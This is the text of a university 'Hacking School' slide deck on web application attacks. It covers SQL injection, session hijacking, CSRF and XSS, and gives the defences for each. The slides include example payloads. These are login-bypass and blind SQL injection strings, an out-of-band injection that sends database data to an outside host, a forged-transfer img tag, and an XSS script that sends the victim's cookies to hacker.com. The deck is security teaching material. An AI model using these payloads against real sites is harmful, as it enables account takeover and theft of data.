hacking school - ugr cybersecurity groupucys.ugr.es/download/taller4/webhacking.pdf · hacking...

19
13/03/2015 1 Hacking de aplicaciones Web Gabriel Maciá Fernández HACKING SCHOOL Fundamentos de la web BROWSER DATOS PRIVADOS CLIENTE WEB SERVER BASE DE DATOS SERVIDOR HTTP

Upload: tranmien

Post on 21-Jul-2018

220 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

1

Hacking de aplicaciones WebGabriel Maciá Fernández

HACKING SCHOOL

Fundamentos de la web

BROWSER

DATOS PRIVADOS

CLIENTE

WEB SERVER

BASE DE DATOS

SERVIDOR

HTTP

Page 2: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

2

Interacción con servidores web

• URLs

– Esquema

–Autoridad: servidor (consulta DNS)

–Camino

–Argumentos

http://gmacia:[email protected]:80/descarga.php?file=prueba.txt

Interacción con servidores web

Page 3: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

3

WEB APPLICATION ATTACKS

• Brief history

• OWASP Top 10 ‐ 2013

1. Injection

2. Broken authentication and session management

3. Cross Site Scripting (XSS)

4. Insecure Direct Object References

5. Security Misconfiguration

6. Sensitive Data Exposure

7. Missing Function Level Access Control

8. Cross‐Site Request Forgery

9. Using components with known vulnerabilities

10. Unvalidate Redirects and Forwards

OWASP

Page 4: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

4

INJECTION ATTACKS

Injection attacks

• Fundamento: datos no confiables son enviados a un intérprete como parte de un comando o consulta.

• Algunos tipos:– SQL injection– LDAP injection– Command injection– Hibernate injection– XPATH injection– Local File Inclusion (LFI)– Remote File Inclusion (RFI)

Page 5: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

5

SQL (Standard Query Language)

Nombre Email Password

Gabriel [email protected] J3oldgs23

Juan [email protected] Sdwe3342&

Luis [email protected] 34s3gsd23

SELECT email FROM Users WHERE nombre =‘Gabriel’;

UPDATE Users SET email=‘[email protected]’ WHERE nombre=‘Juan’; ‐‐ Comentario

INSERT INTO Users Values (‘Pepe’, ‘[email protected]’, ‘34Sgerud’);

DROP TABLE Users; 

Page 6: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

6

Código en el servidor

“Login code” (PHP)

$result = mysql_query (“select * fromUsers where (name=‘$user’ and password=‘$pass’);”);

SQL injection

$result = mysql_query (“select * from Userswhere (name=‘Gabriel’ OR 1=1); --password=‘$quemasda’)”);

Gabriel’ OR 1=1); --

Page 7: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

7

¿Lo probamos?

Other attack techniques

• Boolean exploitation

• Error based exploitation

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 

INPUT:id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )‐‐

OUTPUT:ORA‐292257: host SCOTT unknown

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

Page 8: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

8

Other attack techniques

• Out of Band exploitation

• Time delay exploitation

INPUT:id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)‐‐

OUTPUT:/home/tester/nc –nLp 80GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close

id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))‐‐

Page 9: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

9

SQL Injection defenses (I)

• Input Valition (Sanitize your inputs)– Blacklisting

• Delete the characters you do not want. E.g. ‘ ; ‐ ‐– Downside: “John O’Connor”

– Escaping• Replace problematic characters with safe ones

– Change ‘ to \’

• Libs to do this

– Whitelisting• E.g. Integer with the right range

SQL Injection defenses (II)

• Prepared statements

– Decouple the code and the data

$result = mysql_query (“select * from Userswhere (name=‘$user’ and password=‘$pass’);”);

$db = new mysql (“localhost”, “user”, “pass”, “DB”);$query = $db->prepare(“select * from Users where

(name=? and password=?);”);

$query->bind_param(“ss”, $user, $pass);$query->execute();

Page 10: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

10

SQL Injection defenses (III)

• Mitigation strategies

– Limit privileges

– Encrypt sensitive data 

• CreditCardsTable• userPasswords

SESSION HIJACKING ATTACKS

Page 11: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

11

Stateful HTTP

• HTTP is stateless

• Cookies for implementing statefulness

Session Hijacking

• Knowing a cookie gives you access with theprivileges of the user that established thatsession

• How to steal session cookies– Compromise the server or user’s machine/browser

– Predict it based on other information

– Sniff the network

– DNS cache poisoning• Trick the user into thinking you are LinkedIn

• The user will send you the cookie

Network based attacks

Page 12: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

12

¿Lo probamos?

Defenses

• Unpredictability

– Random and long cookies

• Time out sessions and delete tokens

• IP Address check (Doubtful defense)

– Maybe problematic

– Change of IP due to DHCP, WIFI to 3G

– Same IP for NAT boxes

Page 13: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

13

CROSS SITE REQUEST FORGERY (CSRF) ATTACKS

Fundaments

• Imagine that…

A user is logged in with an active session cookie

This request is issued

• How could you get a user to visit this link?

http://banco.com/transfer?cant=6000&a=hacker

Page 14: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

14

banco.com

CSRF attack

hacker.com

browser $$$

<img src=http://banco.com/transfer?cant=6000&a=hacker>

Cookie

Defenses

• Using REFERER field

• Problems:– Referer is optional

– Attacker can force referer not to be sent• Man in the middle

• Browser vulnerability

• Bounce user off of a page as: ftp://page

• Using secretized linkshttp://website.com/algo.html?sid=81sdgs234e

Page 15: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

15

CROSS SITE SCRIPTING (XSS) ATTACKS

Same origin policy

• JavaScript enables Web 2.0

– Modify web pages (DOM)

– Track Events

– Issue web requests and maintain connections (AJAX)

– Read and set cookies

• Browsers provide isolation for javascript scripts via the Same Origin Policy

Only Scripts received from a web page’s origin have access to the page’s elements

Page 16: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

16

banco.com

Stored XSS attack

hacker.com

browser

1

Inyecta script malicioso

4

Ejecuta el scriptComo si el servidor nos lo hubiera solicitado

GET http://banco.com/transfer?cant=6000&a=hacker

GET http://banco.com/roba?c=document.cookie

Reflected XSS attack

hacker.com

banco.com

browser

5

Ejecuta el scriptComo si el servidor nos lo hubiera solicitado

URL especialmente construida para el ataque

Page 17: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

17

Echo of user input

• The key: finding situations where a server echoes the user input back in the HTML response

• Example: GET http://victim.com/search.php?term=guitars

Result from victim.com:

<html> <title> Search results </title><body>Results for guitars:…</body></html>

Exploiting echoed input

http://victim.com/search.php?term=<script> window.open(

“http://hacker.com/steal?c=“ + document.cookie)

</script>

Result from victim.com:

<html> <title> Search results</title><body>Results for <script> … </script>:…</body></html>

Page 18: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

18

¿Lo probamos?

Defenses

• Sanitizing: remove executable portions of user‐provided input

– Done on many blogs. E.g. wordpress

https://wordpress.org/plugins/html‐purified/

• Black list vs White list

Page 19: HACKING SCHOOL - UGR CyberSecurity Groupucys.ugr.es/download/taller4/WebHacking.pdf · HACKING SCHOOL Fundamentos de la web BROWSER ... – SQL injection – LDAP injection – Command

13/03/2015

19

El reto

Thanks for your attention

• Thanks to: – Michael Hicks for its nice examples about web attacks